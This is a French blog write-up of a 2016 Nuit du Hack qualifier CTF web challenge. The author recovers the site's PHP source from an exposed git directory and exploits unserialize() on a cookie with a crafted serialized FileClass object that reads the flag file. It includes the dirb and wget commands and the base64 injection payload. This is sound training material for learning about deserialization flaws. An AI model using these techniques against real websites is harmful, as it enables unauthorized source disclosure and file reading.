[CTF NDH 2016 Quals] Write-Up – WebApp : Find Me I’m Famous

03
avril
2016
  • Google Plus
  • LinkedIn
  • Viadeo
Posted by: Yann C.  /   Category: CTF / Events / NDH / NDH2k16 / PHP Object Injection / Vulnérabilités, exploits et PoC   /   Aucun commentaire

Présentation d’un write-up de résolution du challenge « WebApp – Find Me I’m Famous » des qualifications du CTF de la Nuit du Hack 2016.

Le weekend du 01/04/2016 se déroulait les pré-qualifications pour la Nuit du Hack 2016 sous forme d’un CTF Jeopardy. Ayant eu l’occasion et le temps d’y participer avec quelques collègues et amis, voici un write-up de résolution d’un des challenges auquel nous avons pu participer.

  • Catégorie : WebApp
  • Nom : Find Me I’m Famous
  • Description : Hey Dude! This authentication annoys me, please help!
  • URL : http://findmeimfamous.quals.nuitduhack.com
  • Points : 100

En se rendant sur la page du challenge « http://findmeimfamous.quals.nuitduhack.com » on visualise un formulaire requérant un « login » et un « age ». Pas de vérification sur le format des données entrées.

First page

First page

Après avoir entré un login et age arbitraire, une nouvelle page nous redemande de s’identifier :

Identification page

Identification page

Une fois l’identification réalisée, nous arrivons sur la page « result.php » qui nous affiche le message de bienvenu avec l’information liée à notre age :

result.php

result.php

On observe les échanges réalisés au cours des différentes requêtes et on remarque qu’à destination de la page « result.php » un cookie « cook » est incorporé à la requête.

Legitimate cookie

Legitimate cookie

Cookie=PHPSESSID=kdf7p64lmaqpkp9nufqbi1gqn0; cook=Tzo0OiJVc2VyIjoyOntzOjM6ImFnZSI7czozOiJ4eHgiO3M6NDoibmFtZSI7czo0OiJ5Y2FtIjt9

La valeur de « cook » peut être URL-décodée puis Base64-décodée pour donner :

O:4:"User":2:{s:3:"age";s:3:"xxx";s:4:"name";s:4:"ycam";}

Ce cookie contient donc l’image de notre objet utilisateur « User » sérialisé et en base64. A la lecture de ce format sérialisé on en déduit :

  • Qu’une classe « User » est définie côté serveur
  • Cette classe dispose de 2 attributs publiques sous forme de chaîne de caractère
    • age
    • name

En regardant au niveau du code source de la page, on remarque la présence de la balise « <meta> » indiquant l’auteur :

Author

Author

Quelques recherches nous ramènent sur tympanus, permettant de télécharger un package HTML/CSS de ce modèle de mire de login / inscription. Seulement le package ne contient aucun exemple de code côté serveur tels que ceux en place pour le challenge (index.php, result.php, etc.).

On poursuit l’analyse en lançant un guessing de répertoires d’intérêt sur la cible :

dirb http://findmeimfamous.quals.nuitduhack.com /usr/share/wordlists/dirb/common.txt
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Apr 2 20:13:53 2016
URL_BASE: http://findmeimfamous.quals.nuitduhack.com/
WORDLIST_FILES: /usr/share/wordlists/dirb/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://findmeimfamous.quals.nuitduhack.com/ ----
+ http://findmeimfamous.quals.nuitduhack.com/cgi-bin/ (CODE:403|SIZE:217)
==> DIRECTORY: http://findmeimfamous.quals.nuitduhack.com/css/
==> DIRECTORY: http://findmeimfamous.quals.nuitduhack.com/git/
==> DIRECTORY: http://findmeimfamous.quals.nuitduhack.com/images/
+ http://findmeimfamous.quals.nuitduhack.com/index.php (CODE:200|SIZE:2382)
+ http://findmeimfamous.quals.nuitduhack.com/server-status (CODE:403|SIZE:222)
---- Entering directory: http://findmeimfamous.quals.nuitduhack.com/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
 (Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://findmeimfamous.quals.nuitduhack.com/git/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
 (Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://findmeimfamous.quals.nuitduhack.com/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
 (Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Sat Apr 2 20:18:05 2016
DOWNLOADED: 4612 - FOUND: 3

Intéressant ! Un répertoire « git » listable est présent à la racine :

git directory listable

git directory listable

Il semblerait que bien que ce répertoire se nomme « git », il corresponde à un répertoire technique de versionning de l’outil eponyme nommé « .git » au sein d’un repos.

J’en profite pour vous aiguiller vers l’excellent article d’InternetWache, qui détaille la dangerosité et présente divers outils permettant de récupérer le code source complet d’un site Internet à partir des fuites d’information de son répertoire « .git » exposé ; que ce répertoire soit listable (Index Of) ou non !

On poursuit via la copie récursive de tout le contenu de ce répertoire :

wget --mirror -I git http://findmeimfamous.quals.nuitduhack.com/git/

On renomme le répertoire de configuration et nettoie les quelques fichiers résiduels dus à l’Index of :

mv git .git
rm .git/index.html*
rm .git/refs/index.html*

On dispose donc du répertoire technique « .git » du projet du challenge, sans le code source et les fichiers du projets en eux-mêmes. Vérifions l’intégrité et les derniers évènements du dépôts :

# git status
Sur la branche master
Votre branche est à jour avec 'origin/master'.
Modifications qui ne seront pas validées :
 (utilisez "git add/rm <fichier>..." pour mettre à jour ce qui sera validé)
 (utilisez "git checkout -- <fichier>..." pour annuler les modifications dans la copie de travail)
supprimé : README.md
 supprimé : app/.buildpath
 supprimé : app/.project
 supprimé : app/.settings/org.eclipse.php.core.prefs
 supprimé : app/.settings/org.eclipse.wst.common.project.facet.core.xml
 supprimé : app/config.php
 supprimé : app/css/animate-custom.css
 supprimé : app/css/demo.css
 supprimé : app/css/fonts/BebasNeue-webfont.eot
 supprimé : app/css/fonts/BebasNeue-webfont.svg
 supprimé : app/css/fonts/BebasNeue-webfont.ttf
 supprimé : app/css/fonts/BebasNeue-webfont.woff
 supprimé : app/css/fonts/Dharma Type Font License.txt
 supprimé : app/css/fonts/fontomas-webfont.eot
 supprimé : app/css/fonts/fontomas-webfont.svg
 supprimé : app/css/fonts/fontomas-webfont.ttf
 supprimé : app/css/fonts/fontomas-webfont.woff
 supprimé : app/css/fonts/franchise-bold-webfont.eot
 supprimé : app/css/fonts/franchise-bold-webfont.svg
 supprimé : app/css/fonts/franchise-bold-webfont.ttf
 supprimé : app/css/fonts/franchise-bold-webfont.woff
 supprimé : app/css/style.css
 supprimé : app/css/style2.css
 supprimé : app/css/style3.css
 supprimé : app/fileclasse.php
 supprimé : app/images/ImageAttribution.txt
 supprimé : app/images/bg.jpg
 supprimé : app/index.php
 supprimé : app/result.php
 supprimé : app/ufhkistgfj.php
 supprimé : app/userclass.php
aucune modification n'a été ajoutée à la validation (utilisez "git add" ou "git commit -a")

Intéressant… Restaurons le dépôt et les codes sources originels !

# git checkout -- .
# ll app/
total 56
drwxr-xr-x 5 root root 4096 avril 2 20:27 .
drwxr-xr-x 4 root root 4096 avril 2 20:27 ..
-rw-r--r-- 1 root root 174 avril 2 20:27 .buildpath
-rw-r--r-- 1 root root 22 avril 2 20:27 config.php
drwxr-xr-x 3 root root 4096 avril 2 20:27 css
-rw-r--r-- 1 root root 159 avril 2 20:27 fileclasse.php
drwxr-xr-x 2 root root 4096 avril 2 20:27 images
-rw-r--r-- 1 root root 5093 avril 2 20:27 index.php
-rw-r--r-- 1 root root 725 avril 2 20:27 .project
-rw-r--r-- 1 root root 2012 avril 2 20:27 result.php
drwxr-xr-x 2 root root 4096 avril 2 20:27 .settings
-rw-r--r-- 1 root root 26 avril 2 20:27 ufhkistgfj.php
-rw-r--r-- 1 root root 266 avril 2 20:27 userclass.php

Nous pouvons à présent consulter les fichiers du challenge :

# cat config.php
NOT here ...

Un fichier au nom particulier nous intrigue :

# cat ufhkistgfj.php
#I will add the flag here

C’est donc lui qui doit disposer du « flag » en production. Vérifions la page « result.php » :

# cat result.php
<?php
include('./userclass.php');
include('./fileclasse.php');
session_start();
if (isset($_COOKIE["cook"]) && !empty($_COOKIE["cook"])){
 $obj = unserialize(base64_decode($_COOKIE['cook']));
ob_start();
 echo $obj;
$ff = $obj->name;
 }
 if(isset($_POST["name_2"]) && !empty($_POST['name_2']) && $ff==$_POST['name_2'])
 {
?>
<!DOCTYPE html>
<!--[if lt IE 7 ]> <html lang="en" class="no-js ie6 lt8"> <![endif]-->
<!--[if IE 7 ]> <html lang="en" class="no-js ie7 lt8"> <![endif]-->
<!--[if IE 8 ]> <html lang="en" class="no-js ie8 lt8"> <![endif]-->
<!--[if IE 9 ]> <html lang="en" class="no-js ie9"> <![endif]-->
<!--[if (gt IE 9)|!(IE)]><!--> <html lang="en" class="no-js"> <!--<![endif]-->
 <head>
 <meta charset="UTF-8" />
 <!-- <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> -->
 <title>index</title>
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <meta name="description" content="Login and Registration Form with HTML5 and CSS3" />
 <meta name="keywords" content="html5, css3, form, switch, animation, :target, pseudo-class" />
 <meta name="author" content="Codrops" />
 <link rel="shortcut icon" href="../favicon.ico">
 <link rel="stylesheet" type="text/css" href="css/demo.css" />
 <link rel="stylesheet" type="text/css" href="css/style.css" />
 <link rel="stylesheet" type="text/css" href="css/animate-custom.css" />
 </head>
 <body>
 <div class="container">
<section>
 <div id="container_demo" >
 <div id="wrapper">
 <div id="login" class="animate form">
<h1>TEST</h1> <br/><p> TEXT</p>
</div>
 </div>
 </div>
 </section>
 </div>
 </body>
</html>
<?php
}
 else {
 header("location: index.php");
}
?>

C’est cette page qui s’occupe de récupérer notre valeur de cookie « cook », de la décoder en base64, puis de déssérialiser l’object contenu. Aucune vérifications de typage de l’objet ni de transtypage/cast n’est réalisée. La vulnérabilité finale commence à se dessiner…

On remarque également qu’une fois l’object « $obj » régénéré, un « echo $obj; » est réalisé, ce qui a pour effet d’appeler automatiquement la méthode magique « __toString() » (si présente) au sein de l’object en question. Vérifions si cette méthode est présente dans notre objet « User » défini dans « userclass.php » :

# cat userclass.php
<?php
class User
{
 // Class data
public $age = 0;
 public $name = '';
// Allow object to be used as a String
public function __toString()
 {
 return 'Hello ' . $this->name . ' you have ' . $this->age . ' years old. <br />';
 }
}
?>

Faits avérés ! Les hypothèses sur le format de définition de la classe « User » émises au début en lisant le cookie sérialisé se confirment quant à sa structure. Une méthode « __toString() » est de plus bien présente et c’est elle qui génère l’affichage du message « Hello ycam you have xxx years old. » illustré plus haut.

Mais, il reste un fichier non-utilisé jusqu’à présent parmi les sources : fileclasse.php :

# cat fileclasse.php
<?php
class FileClass
{
public $filename = 'error.log';
public function __toString()
 {
 return file_get_contents($this->filename);
 }
}

Cette simple classe, jamais appelée / instanciée dans le projet, dispose d’une structure quasi-similaire à la classe User ; si ce n’est qu’un seul attribut est défini (le nom du fichier dont le contenu sera lu à l’appel de la méthode __toString()). Oui, cette classe a également sa méthode __toString() de définie ! L’idée à présent va donc être de régénérer un cookie d’un objet « FileClass » et non plus « User » sérialisé, pour appeler cette méthode __toString() afin de lire le contenu du fichier « ufhkistgfj.php ».

Modification de l’object sérialisé et son équivalent en base64 :

O:9:"FileClass":1:{s:8:"filename";s:14:"ufhkistgfj.php";}
Tzo5OiJGaWxlQ2xhc3MiOjE6e3M6ODoiZmlsZW5hbWUiO3M6MTQ6InVmaGtpc3RnZmoucGhwIjt9

On injecte ce cookie lors de la requête à « result.php » pour que notre instance « FileClass » d’attribut « $filename = ‘ufhkistgfj.php' » soit dé-sérialisée puis que sa méthode __toString() soit appelée :

FileClass cookie encoded

FileClass cookie encoded

Résultat :

ufhkistgfj.php

ufhkistgfj.php

Le flag : NDH[bsnae6PcNyrWZ82Q8v6pfJ6C6HG433L6]

Salutations à nj8, St0rn, Emiya, Mido, downg(r)ade, Ryuk@n et rikelm, on remet ça quand vous voulez 😉 // Gr3etZ

Sources & ressources :

  • Google Plus
  • LinkedIn
  • Viadeo
Author Avatar

About the Author : Yann C.

Consultant en sécurité informatique et s’exerçant dans ce domaine depuis le début des années 2000 en autodidacte par passion, plaisir et perspectives, il maintient le portail ASafety pour présenter des articles, des projets personnels, des recherches et développements, ainsi que des « advisory » de vulnérabilités décelées notamment au cours de pentest.